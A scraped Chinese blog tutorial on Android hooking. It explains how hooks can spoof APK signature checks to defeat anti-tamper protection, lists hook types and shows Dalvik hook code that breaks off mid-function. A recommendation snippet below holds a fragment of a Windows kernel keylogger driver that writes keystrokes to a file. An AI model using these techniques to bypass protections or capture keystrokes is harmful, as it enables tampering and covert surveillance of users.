第十章 Hook 与注入(一)(Hook 的类型)

Hook 与注入

  • 软件加密技术不断更新迭代,攻防双方水平不断提升,单纯的静态级别的安全对抗已很少出现,分析人员面对得更多的是高强度的代码加密技术和程序防篡改技术,在此背景下,新的软件分析技术 —— Hook 与注入应运而生
  • 反编译 APK、修改或添加代码后将 APK 重新打包,都会改变原文件的散列值和签名信息,软件防篡改技术即通过在软件运行时检查原文件的散列值和签名等手段判断程序是否遭到破坏。Hook 技术也叫“钩子技术”,原理是先将要修改的函数“钩住”,然后用自定义的函数将其替换,让程序在运行时执行自定义的函数,达到动态修改软件的目的。以 Hook 防篡改技术为例,防篡改系统在检测程序的散列值和签名时,会调用系统 API 读取 APK 签名信息,使用 Hook 技术,可“钩住”这些系统 API,直接返回原程序的签名信息,从而有效“欺骗”防篡改系统,解决代码重新打包后的签名检查问题。如此就涉及俩技术点:如何实施“钩住”这个动作;如何编写自定义的函数

Hook 的类型

  • 按 Java 层和 Native 层分:
    • Java 层的 Hook
    • Native 层的 Hook
  • (Java 层的 Hook)按代码运行环境分:
    • Dalvik Hook
    • ART Hook
  • (Native 层的 Hook)按 ELF 文件的特点分:
    • 基于动态库加载劫持的 LD_PRELOAD Hook
    • 针对 .got.plt 节区的 GOT Hook
    • 针对汇编指令级别的 Inline Hook

Dalvik Hook

  • Dalvik 虚拟机运行的系统低于 Android 5.0,早期安全研究人员对 Java 层的 Hook 记中在 Dalvik 虚拟机上。那个时期的 Hook 技术能实现,得益于:

    • Java 语言的反射机制。对 Dalvik 虚拟机中任何一个 Java 类的方法进行 Hook,其本质即对 Java 语言中的 Method 类进行 Hook。通过 Java 的反射机制,DEX 文件中的代码很容易就能访问自己内存空间中的任何类的方法信息。在 Dalvik 虚拟机中,每个 Java 类的方法都对应 java/lang/reflect/Method

    • Dalvik 虚拟机底层的 Java 方法实现。在 Dalvik 虚拟机中,Java 方法的定义位于 Android 源码文件 dalvik/vm/oo/Object 中。Android 4.4 中其定义如下:

      struct method {
             
          ClassObject*        clazz;
          u4                    accessFlags;
          u2                    methodIndex;
          u2                    registersSize;
          u2                    outsSize;
          u2                    insSize;
          const char*            name;
          DexProto            Prototype;
          const char*            shorty;
       
          /* the actual code */
          const u2*            insns;
          /* JNI: cached argument and return-type hints */
          int                    jniArgInfo;
          DalvikBridgeFunc    nativeFunc;
          bool                fastJni;
          bool                noRef;
          bool                shouldTrace;
          const RegisterMap*    registerMap;
          bool                inProfile;
      };
      
      • method 结构体中的字段完整地描述了一个 Java 方法地信息。可将它们的值修改为目标方法的相应字段,实现“移花接木”
    • 可修改自身进程空间的内存。这既是 Linux 类操作系统进程的特点,即进程对自身内存空间的数据有绝对的控制权,也是各类 Android 热补丁插件得以实现的基石

  • 有了这些条件,实现 Dalvik Hook 的思路就清晰了。ddi 工具的 Dalvik Hook 的核心实现代码:

    void* dalvik_hook(struct dexstuff_t* dex, struct dalvik_hook_t* h) {
         
        if(h->debug_me)
            log("dalvik_hook: class %s\n", h->clname);
        void* target_cls = dex->dvmFindLoadedClass_fnPtr(h->clname);
        if(h->debug_me)
            log("class = 0x%x\n", target_cls);
     
        if(h->dump && dex && target_cls)
            dex->dvmDumpClass_fnPtr(target_cls, (void*)1);
     
        if(!target_cls) {
         
            if(h->debug_me)
                log("target_cls == 0\n");
            return;
        }
     
        h->method = dex->dvmFindVirtualMethodHierByDescriptor_fnPtr(target_cls,h->method_name, h->method_sig);
     
        if(h->method == 0) {
         
            h->method = dex->dvmFindDirectMethodByDescriptor_dnPtr(target_cls, h->method_name, h->method_sig);
        }
     
        if(!h->resolvm) {
         
            h->cls = target_cls;
            h->mid = (void*)h->method;
        }
     
        if(h->debug_me)
            log("%s(%s) = 0x%x\n", h->method_name, h->method_sig, h->method);
     
        if(h->method
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
C语言写的ROOT记录器,编译通过了.#include "stdafx.h" #include "ScanCode.h" #include "DriverEntry.h" #include <stdarg.h> const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName"; const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName"; const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0"; const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt"; int numPendingIrps = 0; /*---------------------------------------------------------------------------------------------------------------------------------------------*/ /************************************************************************ * 函数名称:DriverEntry * 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象 * 参数列表: pDriverObject:从I/O管理器中传进来的驱动对象 pRegistryPath:驱动程序在注册表的中的路径 * 返回 值:返回初始化驱动状态 *************************************************************************/ STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath ) { NTSTATUS retValue = STATUS_SUCCESS; TRACEMSG("初始化例程..."); pDriverObject->DriverUnload = OnUnload; for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){ pDriverObject->MajorFunction[i] = DispatchHandler; } pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; TRACEMSG("初始化例程...完成"); //创建设备。 TRACEMSG("创建设备..."); PDEVICE_OBJECT pKeyboardDevice = NULL; if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice))) { TRACEMSG("创建设备...失败"); return retValue; } TRACEMSG("创建设备...完成。键盘设备对象指针为:0x%x", pKeyboardDevice); //挂接设备。 TRACEMSG("挂接设备..."); if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice))) { TRACEMSG("挂接设备...失败"); return retValue; } TRACEMSG("挂接设备...完成"); TRACEMSG("初始化线程..."); if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject))) { TRACEMSG("初始化线程...失败"); return retValue; } TRACEMSG("初始化线程...完成");

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值